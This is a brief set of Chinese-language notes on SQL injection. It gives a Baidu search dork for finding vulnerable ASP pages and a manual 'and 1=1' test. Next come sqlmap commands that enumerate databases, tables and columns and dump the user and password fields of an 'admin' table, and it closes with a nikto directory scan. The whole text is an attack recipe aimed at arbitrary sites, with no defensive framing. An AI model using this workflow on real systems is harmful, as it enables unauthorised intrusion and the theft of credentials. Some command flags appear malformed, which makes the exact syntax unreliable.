sql注入攻击

百度   ** inurl:asp?id=                 找到如  www.abc.asp?id=1   

简单判断是否有漏     www.abc.asp?id=1, www.abc.asp?id=1 and 1=1

 

kali 查看所有的数据库   sqlmap -u www.abc.asp?id=1 -- dbs -current-user

是否有漏洞会有相应信息

查看所有的表 sqlmap -u www.abc.asp?id=1 -dbms mysql -D 数据库名称 --tables     (-D 数据库名称  可不加，显示所有的数据库)

 

查看指定表的列   sqlmap -u www.abc.asp?id=1 -dbms mysql -D 数据库名称 -T admin --columns

查看指定内容 sqlmap -u www.abc.asp?id=1 -dbms mysql -D 数据库名称 -T admin -C user,pwd

 

nikto查询页面隐藏的目录   nikto -host www.abc.com